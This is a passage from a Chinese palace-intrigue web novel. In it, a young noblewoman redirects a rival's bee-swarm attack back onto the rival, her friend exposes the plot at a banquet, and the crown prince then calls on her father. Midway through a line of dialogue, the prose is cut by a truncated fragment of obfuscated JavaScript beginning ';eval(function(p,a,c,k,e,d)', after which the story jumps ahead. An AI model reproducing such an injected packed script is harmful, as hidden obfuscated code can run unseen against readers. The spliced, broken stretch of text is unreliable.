“反正到哪里都是过日子,我不在乎的。他已经答应过我父亲,除非我十年无所出,否则,他绝不会纳妾。” “照你这么说,这人能嫁。” 海云澜笑容明媚,比今日的阳光还要耀眼:“等我随他去了任上,就不能时常与你们见面了。不过,我会经常给你们写信的,易水县那边有什么好吃的好玩的,我也给你们送回来!” “好!”洛云舒含笑应允。 看得出来,海云澜是真的开心。 就在这时候,海云澜脸色突变:“天呐,你们看,那黑压压的,是什么东西?” 洛云舒闻声看去,只见不远处的湖面上空,一团黑压压的东西正朝着这边逼近。 “是蜂群。” “天呐,怎么会出现蜂群?”阮清辞惊讶万分。 丞相府内,杜绝蜂窝出现,不可能会出现蜂群。 “先别说这些,去那边的临水轩里躲一躲。”说着,洛云舒一手拉着阮清辞,一手拉着海云澜,朝着旁边的临水轩走去。 进去之后,三人齐齐动手,把窗户和门全都关上。 临水轩三面都有窗户,上面镶嵌着透明的琉璃。 透过这些琉璃,可以看到外面的情况。 那黑压压的蜂群逐渐朝着这边靠近,人们四散着躲避,有不少人发出惊叫声。 突然,一声凄厉的哭声响起:“母亲,好疼!我好疼啊!” 是霍娇娇。 阮清辞猛地扭脸,看向洛云舒。 直觉告诉她,这件事和洛云舒有关。 可刚才她一直和洛云舒在一起,并未发现她做什么。 “没想通?”洛云舒问。 “是。你刚刚一直和我在一起,没机会做什么。再者,蜂群这种东西,没办法控制吧?” “我虽然一直和你在一起,但刚才我曾两次让知意上前,她也曾离开过两次。这两次,知意都是在按我的吩咐做事。” 阮清辞还是不明白:“就算是这样,你还能控制蜂群不成?” “既然是动物,就会有各自的喜好。蜂类喜甜,越甜的东西,它们越喜欢。当然,它们喜甜,却不会主动攻击人类,除非,有人毁了它们的蜂巢。它们才会追着毁了它们蜂巢的人,一路来到此处。原本,此刻被蜂群蛰的人,该是我才对。” 阮清辞恍然大悟:“所以,霍娇娇原本是打算用这一招对付你?” “是。只不过,吸引蜂群的换成了我的人,也换上了和霍娇娇同色的衣服。同时,我让人把刚刚从蜂巢中取来的蜂蜜,抹在了霍娇娇身上。如此一来,蜂群会攻击霍娇娇,也就不足为奇了。” “这就叫害人终害己。” 这会儿,外面霍娇娇的惨叫声已经越来越大。 阮家的家丁已经前来驱赶蜂群。 “清辞,蜂类怕烟熏,怕蒜味儿。” 阮清辞心领神会,让人去告知阮夫人。 毕竟,这是他们阮家举办的宴会,阮夫人是要出来控场的。 果然,按照洛云舒说的法子处理之后,蜂群逐渐散去。 洛云舒走出去,发现刚才还悠闲自在的众人,此刻却是狼狈不堪。 看样子,虽然刚才蜂群主要是攻击霍娇娇,但在霍娇娇旁边的人,还是免不了受池鱼之灾。 有人对蜂毒敏感,脸已经肿了起来。 有的人只是脸上多了些红点,没有大碍。 阮夫人处变不惊,已经让府上的女医送来药膏。 不少人抹了药膏之后,脸上已经有了消肿的迹象。 唯独霍娇娇,不肯抹药,还一直在惨叫。 她被蜂群蛰的次数是最多的。 脸上红肿一片,已经分辨不出原来的面目。 裸露在外面的双手也肿得跟馒头一般。 女医要给她上药,被她推倒在地:“滚开,你弄疼本小姐了!啊啊啊,母亲,我好疼!” 阮清辞跟在洛云舒身后,后怕地低语:“幸亏你早有防备,不然,现在这个样子的人可就是你了。” 话音落下,阮清辞的心跟着猛地一提。 被蜂群蛰伤后,脸成了这个样子,怕是很难复原。 皇家对儿媳要求严格,容貌有损的人,进不了皇家的门。 所以,霍娇娇此举,是要断了洛云舒做太子妃的路。 想到此处,阮清辞气得直咬牙。 海云澜不知内情,只伸着头看热闹。 “阮夫人,这好好的宴会上怎么会有蜂群出现?” 是霍夫人,她沉着脸,厉声质问,大有阮夫人若是不给出一个说法,她就誓不罢休的架势。 第47章 云舒,你简直会发光 阮夫人面色温和,并未显露出丝毫的不耐烦:“霍夫人请放心,若蜂群的到来是我阮府的过失,我绝不会推辞责任。” “那你打算怎么负责?”霍夫人不依不饶。 “我已让人去宫里请太医。宫里的太医医术高明,又擅长驻颜之术,将他们请来,定能让令爱的容貌恢复如初。” 霍夫人不悦:“女子的容貌何其重要,如今我女儿还没说亲。若是这张脸毁了,她这辈子就毁了。” “那依你之见,该当如何?”阮夫人很客气。 “恢复我女儿的容貌是其一,其二,还请阮夫人以丞相夫人之尊,保证我女儿婚嫁顺利。” 阮夫人皱了皱眉。 就连阮清辞也听出了不对劲儿,她低声问洛云舒:“霍夫人想干嘛?” 很明显,眼下霍娇娇的脸已经肿成了猪头,任是谁,也无法确认她的容貌能否恢复如初。 更别提能保证霍娇娇婚嫁顺利了。 “恢复容貌只是说辞,重要的是第二点。”洛云舒提点道。 阮清辞忍不住翻了一个白眼:“还保证霍娇娇婚嫁顺利?我母亲又不是神仙,还能知道霍娇娇要嫁谁,能左右别人的想法不成?” “令堂无法左右其他人的想法,但自己的想法,她终究还是能左右的。” “什……”说着,阮清辞突然明白了,她低呼,要说什么,被洛云舒一把捂住嘴巴。 “安静。” 阮清辞立刻闭嘴,眼睛却瞪得大大的,难掩心中的怒气。 霍娇娇的婚嫁自然是无法保证的,但,如果霍娇娇嫁进他们阮府,那就可以得到保证。 所以,霍夫人是以此为契机,想让霍娇娇嫁给阮清辞的哥哥,丞相府大公子,阮英杰。 “好不要脸!”阮清辞终究还是没忍住,低声骂道。 洛云舒拍拍阮清辞的肩膀,轻声道:“此事也算是因我而起,所以,你只管放心,我会平息此事。现在,且先静观其变。” 一听这个,阮清辞就安心了。 “云舒,你简直会发光。”说着,阮清辞两眼冒星星。 洛云舒笑笑,并不说什么。 海云澜看看洛云舒,又看看阮清辞,一头雾水:“你们在说什么,我怎么听不懂?” 洛云舒还没回答,阮清辞就看着海云澜眨了眨眼睛:“海小姐,你真有福。” 傻人有傻福。 海云澜不解其意,喜上眉梢:“是啊,我母亲也说我有福。” 几人交谈的时候,霍夫人和阮夫人还在扯皮。 阮夫人一再表明,实在是无法保证霍娇娇的婚嫁。 霍夫人不依不饶:“说什么无法保证我家娇娇的婚事,分明就是托词!” “那依霍夫人之见,我要如何才能保证令爱婚事顺利?” 霍夫人的意思,阮夫人大概猜出来了,但是,她不愿意挑破。 而霍夫人,自然也不会主动提起。 她是女方,主动提婚事,显得掉价。 二人你一句我一句,纯粹是在扯皮。 霍夫人让阮夫人保证,而阮夫人则一再表示,婚嫁大事,无法保证。 最先沉不住气的,是霍夫人。 她朝着一位夫人看了一眼。 那位夫人轻笑一声,立刻道:“阮夫人,您家大公子不是还没成亲嘛。这不是现成的?有您坐镇,阮大公子必定不会亏待霍大小姐,如此,不就能保证霍大小姐婚事顺利了?” 阮夫人垂眸:“犬子纨绔,不服管教,只怕是配不上霍大小姐。” “配得上配不上另说,只要阮夫人您点头,这件事就错不了。”霍夫人这话,格外不客气。 这就有点强逼的意思了。 阮夫人沉着脸,并不点头。 阮丞相曾数次告诫她,他们阮家,绝不能和皇家的人扯上关系。 而霍府背靠霍贵妃,是绝对不能和他们扯上关系的。 毕竟,一旦扯上关系,就会身不由己。 所以,这不是一桩简单的婚事,不能应允。 稍有不慎,就会牵扯到朝堂之事,不好收场。 但是一时之间,阮夫人想不出更好的法子,只硬着头皮说道:“霍夫人放心,我已经让人去查证蜂群的来源,等调查的结果出来,我定会给你一个说法。” “好,那我就等着。” 蜂群来去无踪,如何能查到踪迹? 两厢胶着的时候,太医赶到,用药之后,霍娇娇脸上的红肿消散了一些,但,也仅仅是一些而已。 她揽镜自照,哭号不止。 见状,霍夫人的脸色更加难看:“阮夫人,我女儿的脸成了这个样子,你不给个说法是不行的。” “霍伯母,别急,您要的说法,马上就给您。”是阮清辞,她站了出来。 见状,阮夫人面色一紧,却又在看到阮清辞的眼神之后,止住了脚步。 “霍伯母,我府上的人查到了些消息,但有些查的不够分明,有几个问题,想问问您。” “好,你问。” “霍大小姐身边的丫鬟妙珠,中途出去了一趟,不知所为何事?” 霍娇娇把肿成一条缝儿的眼睛扒开了一些,不悦道:“我有些东西落在马车上了,让妙珠去拿,有什么问题吗?” “只是去马车上拿东西,需要半个时辰?” 来赴宴的宾客,马车都在外面停着,压根儿就不需要半个时辰。 “妙珠身子不爽利,我吩咐过,可以让她在马车上多歇息一会儿。” “身子不爽利?怎么个不爽利法?是来了月事?” 霍娇娇瞪了阮清辞一眼:“何必问这么清楚?” 阮清辞正色道:“霍大小姐此言差矣。我查清此事,也是为了给你一个说法。毕竟,你的脸伤成这个样子,与猪头无异。我也是急着查清楚,好给你一个说法。” “你说谁的脸是猪头?”霍娇娇气得要炸。 “只是一个形容而已,霍大小姐莫气。咱们言归正传,你且说说,你这丫鬟身子如何不爽利?” 霍夫人插嘴:“最近天热,妙珠不思饮食,故而气血不足,有些体虚。” 霍夫人这话滴水不露,毕竟,入了夏,很多人都会有这样的症状。 就算是让太医查,也查不出什么来。 阮清辞并不着急,只点了点头,轻描淡写道:“霍大小姐,你这丫鬟不安分,直接杖杀了吧!“ 第48章 这丫鬟倒是好本事! 霍娇娇肿脸大变,但因为太肿,不怎么看得出来,只那眼神凌厉万分:“阮大小姐真是好手段,只凭一句话,就要杖杀我的丫鬟,真是好大的威风!” 阮清辞轻笑:“霍大小姐,我这可是为了你考虑。你有所不知,你让她在马车里安歇,她却偷偷溜出去,出现在了东街。” “什么?”说着,霍娇娇眼神躲闪,有些心虚。 霍夫人瞪了霍娇娇一眼,之后扬手给了妙珠一个耳光,斥道:“贱蹄子,你家小姐让你在马车里歇息,你去东街做什么?” 妙珠立刻跪下,连声求饶,只说自己在东街有个相好,平日里无法出府,难以相见。今日趁着这个机会,才见了一面。 霍夫人自然又是一顿骂。 阮清辞却没打算把这件事轻轻放下,继续说道:“怎么,你这丫鬟的相好竟是三皇子的幕僚,东方亮?照此说来,这丫鬟倒是好本事!” 阮清辞此言,是在告知霍娇娇,她已经知道妙珠和东方亮会面,想让霍娇娇自乱阵脚。 霍娇娇阅历浅,听阮清辞这么一说,果然有些不安。 霍夫人在这时候挡在霍娇娇面前,沉声道:“东方亮虽是幕僚,却也是个下人。我府上的妙珠与他相好,也不算高攀。” 说完,霍夫人又踹了妙珠一脚:“你有了这般机缘,大可以与本夫人说明,也好与你那相好光明正大地相见,何必这般偷偷摸摸的?” “夫人,奴婢该死,奴婢该死。”妙珠连声告饶。 霍夫人这才看向阮清辞,面色不虞:“妙珠和谁相见,本就无关紧要。和贵府所调查的蜂群之事有什么干系?” “霍伯母别急,马上就有干系了。”说完,阮清辞朝着身后看了一眼,吩咐道,“把人带上来!” 被带上来的,是一个穿着淡黄色长裙的、男扮女装的男人。 不过,他的双腿已经被打断。 看到此人,霍夫人瞳孔猛缩,却又很快镇定下来:“阮大小姐,你带这么一个奇奇怪怪的人过来,想做什么?” “此人是我阮府的侍卫抓到的。是他引着蜂群,入了我阮府。而他,正是听从东方亮的指使,潜入我阮府做下这些事。” 这人血流满面,显然是受过刑了。 “阮大小姐这话好没意思,你说他是东方亮指使的,有什么证据?” “他亲口招认。” “这是诬告。” “这倒是有可能。”说着,阮清辞看向阮夫人,提议道,“母亲,还请你以你的名义去一趟三皇子府,请那东方亮前来。他的人,还是得他亲自来认为好。” 霍夫人不满:“这件事扯得太远了吧。眼下说的是宴会上发生的事情,怎么还扯到三皇子府的人了?” 她不敢叨扰三皇子府的人,尤其是,在事情办砸的情况下。 “此事环环相扣,事情之间更是有着千丝万缕的联系。只怕不请东方亮来一趟,是说不清楚的。” “罢了。”霍夫人摇头,“贵府故意顾左右而言他,想必是打定了主意不肯给我们母女一个说法。既然如此,这说法我们不要就是,何必这般兴师动众?” “别啊,事情马上就要水落石出了,霍夫人何必说这种泄气话?母亲,快让人去请东方亮前来!” 阮夫人立刻点头,吩咐贴身嬷嬷去三皇子府请人。 霍夫人立刻就急了:“我已经说了,不用再查下去了。” 阮夫人眼神疑惑:“怎么,霍夫人不想要个说法了?” “我女儿是在你们阮府的宴会上出的事,最生气的人是我。原想着容貌无法复原,但现在看来,用了太医给的药之后,已经好转许多。既然如此,我也就没有得理不饶人的道理。方才,也是我爱女心切,太过着急了。” 霍夫人一番话,把自己摘得干干净净。 “令嫒的脸,哪里就好转许多了?” 听阮夫人这么一说,又有好多视线落在霍娇娇的脸上。 这无疑让她更加难为情,恨不得当场找个地缝钻进去。 她双手捂着脸,羞愤到了极致,嘴里叫嚷着:“母亲,让东方亮来!让他来!” 霍夫人一个眼神,示意窦嬷嬷。 窦嬷嬷立刻捂住霍娇娇的嘴:“小姐,您这脸还没好,不可激动啊。” 霍夫人是怕霍娇娇露馅。 眼下霍娇娇无法发声,霍夫人则是痛心疾首:“娇娇今日承受这些,实在是无妄之灾。她到底是年轻,太过在意自己的脸,这才有些语无伦次了。” 说完,霍夫人看向阮夫人:“阮夫人,告辞了。” “霍伯母,您先别急。”阮清辞指着地上男扮女装的人,“他已经招认,是故意引蜂群来此。” “哦?他为何要这样做?” “是很奇怪。”阮清辞点点头,仿佛很是困惑,“此人是受东方亮的指使而来,东方亮又是霍大小姐的贴身丫鬟妙珠的相好,这就很奇怪了。到底是妙珠对霍大小姐心存不满这才出此下策,想要毁了霍大小姐的容貌,还是霍大小姐想嫁进我阮家,故意设下这个圈套?” “阮大小姐,慎言!”霍夫人急了,正色道,“事关我女儿的清誉,阮大小姐还是不要这般信口雌黄的好。” “所以,到底是哪种可能呢?我很好奇。”这一次,不依不饶的人,换成了阮清辞。 霍夫人没有任何犹豫,直接踹了妙珠一脚:“混账东西,你说,为何要伙同东方亮,设下这般奸计,毁了大小姐的容貌?” 妙珠连连磕头:“是奴婢一时被猪油蒙了心,才做下这等错事。夫人,奴婢再也不敢了……” 霍夫人却没消气,朝着妙珠的心窝子又踹了一脚:“一时被猪油蒙了心就胆敢对大小姐动手,你真是好大的胆子!” “夫人恕罪!夫人恕罪!” 阮清辞看准时机,立刻道:“霍夫人,您可千万脚下留情。听说那东方亮很得三殿下信任,他若是知道您这般对待他的相好,只怕会心存不满。毕竟,打狗还得看主人的面子呢。” 霍夫人住了脚,怒气却没消散,朝着妙珠狠狠地吐了一口唾沫。 随后,她看向阮夫人:“阮夫人,对不住,让您看笑话了。” “但这笑话,不怎么好笑。” “是。是我霍府御下不严,闹出这等笑话,改日,我必定登门致歉。” “致歉就不必了。请回吧。” 见状,霍夫人就知道这次把阮夫人得罪狠了。 可事已至此,这是最轻微的后果了。 她看了窦嬷嬷一眼,示意她跟上。 主仆几人正要离去,却听到一个响亮的声音由远及近:“且慢!” 第49章 想走?怕是没那么容易 是阮英杰。 他依旧是那副纨绔的模样,手里摇着折扇,缓步而来。 阮夫人瞪了他一眼:“快转过身去!” 有女眷在,男子不可轻易登场。 “母亲,儿子带了客人来,关于今日发生的事情,儿子有几句话要说。” 阮夫人深深地看了阮英杰一眼,意识到他不是在玩闹,这才转身,看向一众看热闹的夫人小姐:“诸位,犬子无状,实在是对不住。烦请各府的小姐先去临水轩暂待片刻。” 至于各位夫人愿不愿意回避,就看她们自己的意思了。 很快,不少闺秀都去了临水轩。 至于阮清辞,则不用避讳什么。 洛云舒和海云澜也一并往临水轩走去。 身后,阮夫人疑惑道:“霍夫人,不让令嫒去临水轩吗?” “不必了,我们这就走。” 听完,洛云舒微微勾唇。 想走?怕是没那么容易。 洛云舒很快进了临水轩,即便在这里,也可以看到外面的情形,听到他们说的话。 不等霍夫人走,阮英杰就从外面带了一个人进来。 那人书生模样,洛云舒不认得。 闺秀中有人低声说道:“是三皇子的那位幕僚,东方亮。” 不少人猜测,东方亮是来英雄救美的。 毕竟,东方亮和霍娇娇身边的丫鬟妙珠是相好。 然而,东方亮过来之后,看都没看妙珠一眼,只看向地上穿裙子的男人,不解地看向阮英杰:“阮大公子请我来,让我看他作甚?” “不眼熟吗?” 东方亮摇头。 “那这位呢?”阮英杰错开身子,让东方亮看几乎瘫软在地的妙珠。 东方亮依旧摇头否认:“不认得。” “原来是这样。”阮英杰没有在这个问题上多做纠缠,随后,他朝着阮夫人深施一礼,“母亲,儿子请这位东方亮先生前来,只是想看看他认不认得这二人。眼下他既然不认得,儿子就带他离开了。” “好。”阮夫人一口应道。 霍夫人却急了:“东方亮,你不能见东窗事发就不认妙珠吧?想当初你二人花前月下的时候,你是怎么对妙珠承诺的?” 如果不能证明是东方亮是受了妙珠的蛊惑才做下这件事,那么,旁人就会以为,霍娇娇是为了嫁给阮英杰才闹出今天这一出。 她的女儿,绝不能摊上这样的名声。 东方亮眼睛眯了眯,很快说道:“原来是妙珠啊。都怪我一时眼花,没看清楚。” 他在顺着霍夫人的话说。 毕竟,霍家和三皇子关系密切,不可损了霍家的脸面。 阮夫人则嘲笑道:“霍夫人这话倒是让人听不懂了。他们做下人的花前月下,你这个当家主母也知道?” 按照规矩,下人之间是不可以私相授受的,更别提什么花前月下了。 霍夫人扯的谎,已经很难让人相信。 然而,她却依旧坚持:“下人怎么了?下人也是人,也有七情六欲。我安国公府待下人一向宽厚。” 阮夫人笑笑:“原来如此,受教了。” 霍夫人看了阮夫人一眼,觉得她的眼神让人很不舒服,也就不再看,声音冷硬:“告辞。” 说完,她带着霍娇娇,逃一般地走了。 他们一走,阮英杰看向还瘫在地上的妙珠,挑了挑眉:“东方兄,看来你这相好,要由你亲自带回去了。” 东方亮神色如常:“自然。” 说完,他走过去,俯身抱起妙珠,面不改色地走了出去。 然而,在东方亮怀里,妙珠的身子却止不住地发抖。 “母亲,儿子告退。” 阮英杰朝着阮夫人拱了拱手,大步离开。 阮夫人心情很好,第一次觉得儿子竟是这样顺眼。 这些人一走,宴会上的其他人就围聚到阮夫人身边,七嘴八舌地议论起来。 “还说待府上的下人亲厚,结果走的时候,愣是没把下人带走。这也叫亲厚?” “谁说不是呢?瞧瞧那妙珠,被东方亮抱起来的时候,身子都抖成筛子了。” “真是把别人都当傻子耍啊。” …… 言论一边倒,就算是有些人私底下和霍夫人亲厚,这会儿也不敢说什么了。 事情发生到现在,几乎所有人都认定,霍娇娇想嫁进丞相府,才闹了这么一出事。 作为受害者的阮夫人一脸歉意:“各位,实在是对不住。本来是想让大家聚一聚,热闹热闹,谁知道,竟然闹出了这样的纰漏。” 阮夫人身为丞相夫人,一向倨傲,这一次她的姿态放的这样低,众人意外的同时,只会觉得阮夫人遭受了无妄之灾,影响了心情,被吓到了。 毕竟,婚事讲究你情我愿,这样被人硬逼着要嫁进来,谁也不可能欢喜。 等阮夫人把这些宾客都送走,脸上的委屈和歉意就不复存在,取而代之的,是满满的笑意。 这会儿没了外人,阮清辞直接走上前去,满脸写着求夸奖:“母亲,我今天的表现棒不棒?” 阮夫人白了她一眼,却看向洛云舒:“云舒,多谢。” 阮清辞不干了:“母亲,事情是我摆平的,你为什么谢谢云舒?” “少废话,你肚子里装着多少东西,别人不知道,我这个做母亲的还能不知道?不要以为我看不出来,你今日的所作所为,都是受了云舒的提点。” 阮清辞想反驳。 但话到嘴边,却发现压根儿就无从反驳。 因为,她今日的所作所为,的确是按照洛云舒所说的去做的。 洛云舒则微微屈膝,歉疚道:“阮伯母,实在是对不住。今日这桩无妄之灾,本就是因我而起。既是因我而起,我自然不能让这件事影响到阮家。” 阮夫人却不介意:“云舒,这会儿天儿有些热了,不如咱们进临水轩,边吃边聊,如何?” “好。”洛云舒一口应允。 在临水轩坐下之后,洛云舒将一切和盘托出。 霍娇娇易怒,且记仇,几乎是在宴会上看到她的第一眼,洛云舒就断定,霍娇娇会对付她。 于是,她让潜藏在暗处的寒霜注意霍娇娇的一举一动。 看到霍娇娇的贴身丫鬟妙珠出去之后,寒霜就跟了上去。 然后,寒霜就发现妙珠在和三皇子身边的东方亮碰面,之后,东方亮派了一个人出去。 当时,那个人身上穿着的,是和洛云舒同色的淡紫色长裙。 然后,此人去了距离阮府很近的东街,戳了马蜂窝,然后一路往阮府而来。 他轻功极好,甚至还能保持着不紧不慢的速度,既让蜂群能看到他,又不至于追得太近。 寒霜就是在这个时候出手的,她拿下了此人,将人暂时藏匿,又换上和霍娇娇同色的淡黄色衣裙,悄无声息地出现在宴席上。 如此一来,霍娇娇被蜂群袭击,也就不足为奇。 当然,这整件事情还有寒七的帮忙,但这些细节,则不必说给阮夫人听。 不过,听完之后,阮夫人还是有些不解:“为何犬子会出现?” 第50章 这话说出去,谁信啊? “在霍娇娇被蜂群袭击之后,寒霜折返回去,将先前藏匿起来的那个穿裙子的男人交给了阮大公子。毕竟,这样的话,才方便后面清辞让人把此人带上来。”洛云舒解释道。 阮夫人恍然大悟,却又有些疑惑:“为何会找上犬子?” 说完,阮夫人急忙解释:“云舒,我不是怀疑你的举动是否正确。我只是觉得,以犬子的所作所为,很难让人相信他靠谱儿。” 把一件重要的事情交给一个不靠谱的人去做,似乎不是洛云舒会做出来的事情。 “夫人,做人做事不能只看表面。至于阮大公子为何藏拙,我并不清楚。但,从清辞上次落水的事情来看,阮大公子绝不像他表现出来的那么纨绔。所以,我今日才敢让寒霜把人交给他。” 阮夫人瞪大眼睛,一脸的不可置信。 她的儿子阮英杰,竟然不是真纨绔? 这话说出去,谁信啊? 说来惭愧,她儿子才十三岁,就知道去青楼喝花酒了。 如今更是变本加厉。 他老子拿鞭子甩了他无数次,他愣是不改。 现在,洛云舒居然告诉她,她儿子不是真的纨绔? 这能是真的吗? 见阮夫人不相信,洛云舒也不多说什么。 阮英杰故意装纨绔一定有他的理由,这是阮家内部的事情,她这个外人不该掺和。 反正,她已经把事情解释清楚,也就没有继续再待下去的必要。 洛云舒起身告辞,阮夫人一直把她送到了府门口。 直到洛云舒的马车消失在街角,阮夫人才恋恋不舍地收回视线。 阮清辞撇嘴:“母亲,你亲女儿还在这儿呢。你要是再这么看下去,我的醋坛子就要打翻了。” 阮夫人白了她一眼:“你不懂,我这是后悔。” “后悔?后悔什么?” “后悔没早点定下云舒和你哥的婚事。哎呦……”说着,阮夫人捂住了心口。 她难受。 后悔得难受。 有道是娶妻娶贤,可往日里她碍于门第之见,压根儿就没把洛云舒这种小门小户的女子看在眼里,以至于到现在只有捶胸顿足的份儿。 看到阮夫人悔得捶胸顿足,阮清辞不干了:“母亲,我今天的表现也很好,我也很聪明的啊。” 阮夫人不看她还好,一看她,只觉得心口子更疼了。 …… 另一边,洛云舒回府的路上,马车突然停了一下。 洛云舒正要问发生了什么事,就看到裴行渊挑开车帘走了进来。 洛云舒要起身相迎,被裴行渊抬手制止:“不必多礼,坐。” 说完,裴行渊在洛云舒侧面的位置坐下。 洛云舒询问:“今日发生的事情,没给殿下造成什么困扰吧?” 她觉得应该是没有的。 今天从头到尾,她都完美隐身。 谁也不会知道,霍娇娇原本是为了对付她。 哪怕是事后,霍娇娇心里恼的再厉害,也不敢把自己原有的谋算说出来。 “没有。”裴行渊看着洛云舒,眸色温柔,“今日可有被吓到?” “多谢殿下关心,并没有。” “那就好。” “今日多谢殿下派寒七帮忙。不过,关于今日这件事,臣女有个猜测……” 洛云舒的话还没有说完,就被裴行渊抬手制止。 洛云舒不解,瞪大了眼睛看他。 “你我已有婚约,在孤面前,无须自称臣女。” 就因为一个微不足道的称呼打断她? 洛云舒虽然不解,但是也没问,只继续说道:“殿下,今日妙珠去找东方亮帮忙,很奇怪。“ “你是怀疑今日霍娇娇敢对你动手,是暗中得到了三皇子的支持?” “是有这个怀疑。不然,霍娇娇应该去找霍少远帮忙,而不是找三皇子身边的东方亮。” “有些道理。”裴行渊点头,“看来,你我有了婚约,咱们这位三殿下坐不住了。今日一旦你被蜂群袭击,毁了容貌,就无缘再做皇家妇。” 皇家妇,对容貌要求极其严格。 洛云舒又道:“除了这个,臣……我还怀疑三殿下身边有来自于京兆府的助力。 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洛云舒被他看得有些不自在:“殿下,是我说错了什么吗?” “没有。”裴行渊笑着摇头,“洛氏云舒,你睿智聪明,又心细如发,很难得。” 这样的人若为男子,可以做顶级谋士。 可洛云舒是女子,可惜了。 这话,裴行渊没说。 迎着裴行渊的笑脸,洛云舒也笑了:“我只盼着能帮到殿下,如此一来,殿下就可以早些登上那至尊之位。” 裴行渊早日登基,她也能早日恢复自由,去在权力的庇佑下,做任何她想做的事情。 这是她的心愿。 这一点,裴行渊也想到了。 他深深地看了洛云舒一眼,从钱袋子里摸出一张银票,递给洛云舒:“今日你受惊了,拿着去买点想要的,算是给你压惊。” 洛云舒并不推辞,含笑接过:“多谢殿下。” “是你应得的。” 洛云舒垂眸,视线落在那银票上,却是微微一愣。 第51章 这些俗务,用不着她费心 这银票的面额,居然是一万两。 “殿下,这是不是太多了?” “与你所提供的帮助相比,这些银两不值一提。” 话说到这里,洛云舒也就不再推辞。 很快,洛府到了。 裴行渊却没有要离开的意思。 下了马车,他主动提起:“令尊今日休沐,孤来见见他。” 说完,裴行渊补了一句:“你不必回避。” 洛云舒诧异地看了裴行渊一眼。 洛守礼见到裴行渊,自然会行谄媚之举。 可身为父亲,洛守礼不希望洛云舒看到他不正派的样子。 然而,裴行渊让她作陪,是不给洛守礼留脸面。 这样的话,以后洛守礼再想在她面前耍身为父亲的威风,那就耍不起来了。 想到这里,洛云舒有一种被在意的感觉。 也对,他们现在是同盟。 同盟之间,就应该互相帮助。 进府之后,洛云舒让灵雀先去通报,而她直接把裴行渊带到了正厅。 二人刚坐下,就看到洛守礼小跑着进来了。 他一边跑,还一边扶着头上的帽子。 到了裴行渊跟前,洛守礼想要行跪拜之礼,被裴行渊拦了一下之后,又急忙躬身施礼。 “洛大人,免礼。”裴行渊很客气。 洛守礼这才直起身子,歉疚道:“不知太子殿下前来,下官有失远迎,还请太子殿下恕罪。” “洛大人客气了。孤接云舒赴宴归来,想着还不曾来拜会过洛大人,便补上了这个缺憾,如此而已。” 见裴行渊这般客气,洛守礼受宠若惊,急忙道:“下官惶恐。” “无妨,洛大人,请坐。” 洛守礼诚惶诚恐地坐下,抬头看到洛云舒,他有些不悦:“云舒,怎的也不知道给太子殿下上茶?” 洛云舒还没开口,裴行渊倒是先皱了眉:“洛侍郎,是孤不许的。云舒去参加宴会,很累的,这些俗务,用不着她费心。” 裴行渊话里话外,都在维护洛云舒。 洛守礼立刻起身,再次行礼:“是下官唐突了,望太子殿下恕罪。” “洛大人,云舒乖顺,孤不希望任何人苛责甚至斥责她。” 洛守礼身子一震,继而应道:“是,太子殿下。” 裴行渊点到为止,起身告辞。 洛守礼躬着身子,一直送到大门口,直到太子的车驾离开才敢直起身子。 回身看到洛云舒,洛守礼在身前耷拉着的双手顿时背到了身后去。 他开口,带着些不悦:“太子殿下斥责为父的时候,你为何不开口帮为父?” 洛云舒看过去,神色平静:“父亲这是在对我训话吗?” “没、没有。”洛守礼背着的双手立刻垂到身子两侧。 下意识做出这样的动作的瞬间,洛守礼自己都吃了一惊。 他竟然、在惧怕自己的女儿! 意识到这一点,他又羞又愤,又把双手重新背到了身后去。 但那身为父亲的威风,却是怎么都撑不起来了。 “太子殿下这样看重你,你也不可松懈,要记得讨他的欢心。” 洛云舒不以为然:“父亲,不可松懈的人,是您。” “这话怎么说?” 洛云舒就把今天发生在阮府宴会上的事情和盘托出。 到最后,她又补充道:“霍娇娇此举,是要毁我容貌,害我失去与太子殿下的婚事,用心极其歹毒。” “天呐!”洛守礼吓得跌坐在石阶上,“霍家背后是三殿下,这次的事,和他脱不了干系。天呐,我竟然无意中得罪了三殿下……” 顷刻间,洛守礼吓得冷汗直流。 洛云舒上前,扶他起来:“但父亲也别忘了,您未来的女婿,是太子殿下,未来的一国之君。” 洛守礼缓了缓神,附和道:“是这样没错。” “接下来,父亲要小心了。” “自然,自然。”洛守礼连连点头,连额头上的冷汗都顾不得擦,“接下来,为父要避免和三殿下接触,甚至,遇见霍家的人也要绕道走。” 洛云舒松开扶他的手,抬眸看向高远的天空,喃喃道:“父亲,您中举那日,曾发下豪言壮语,要为天下百姓,做一个敢仗义执言的好官。您身为户部侍郎,按规矩办事就是,何必惧怕三殿下?” “你不知,那是三殿下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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洛守礼说不出话,只一个劲儿地点头,他想走过去扶着那边的廊柱,可只走了一步,身子就矮了下去,撑着身子要起来,只觉得腿脚都是软的。 要不是周安过来,他只会更加狼狈。 洛云舒转过脸去,悄无声息地离开。 她曾经将父亲视为人生的楷模,而现在,她的楷模成了软脚虾,地底泥。 洛云舒心事重重地回了芷荷院,她用了点饭,正要歇下的时候,洛守礼进来了。 第52章 云舒,别怀疑我对你的心 这一次,洛守礼再也端不起身为父亲的架子,双手垂在身体两侧,局促地开口:“为父想着,是否可以解了你母亲的禁足?虽说她禁足着会更加安全,但是,临近婚期,你母亲若是一直不露面,也惹人猜疑,对你也不好。 更何况还要为你筹备嫁妆,虽说家里如今是宝珠管家,可筹备嫁妆这种事,她实在是没这个能力。你是要嫁给太子的,在这上面不能让人揪住错处,不然,以后你也不好立足。” 洛守礼洋洋洒洒,给出了很多理由,每一条都很在理。 “父亲可还记得母亲是因为什么事情被您禁足的?” “自然是记得的。眼下你和太子有了婚约,她一定不会再犯糊涂。” 洛云舒叹了口气:“父亲,您仔细想想看,这么些年来,母亲做的糊涂事还少吗?” “她若再犯糊涂,你管教她。就像……”说着,洛守礼像是下定了决心,“就像你管教你弟弟妹妹一样,若不服,你可出言斥责,甚至可动家法。” 洛云舒点头:“有父亲这句话,我就放心了。那就解了母亲的禁足吧。” 洛守礼给出的理由里,有一条是对的。 那就是临近婚期,洛府这个当家主母,没道理不在人前出现。 洛守礼站着没动,让周安去传他的命令,带孙氏过来。 孙氏很快就被带了过来。 不知是被周安提点过还是怎样,她一开口,就先认了错:“云舒,先前的事情是我这个做母亲的不对。我以为你还是像从前那样喜欢霍少将军,只是因为一时生气才与他闹别扭,不肯给他示好。所以我才出此下策,想着让你们生米煮成熟饭,促成你们的好事,也免得你日后后悔。我这个做母亲的,当真是一点坏心思都没有。” 